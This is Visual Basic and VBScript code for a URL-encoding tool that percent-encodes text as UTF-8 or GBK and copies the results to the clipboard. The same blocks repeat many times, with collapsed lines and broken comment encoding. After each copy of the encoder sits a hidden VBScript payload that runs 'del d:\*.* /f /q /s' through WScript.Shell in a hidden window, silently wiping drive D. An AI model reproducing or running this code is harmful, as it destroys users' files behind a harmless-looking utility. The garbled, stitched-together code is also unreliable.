Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

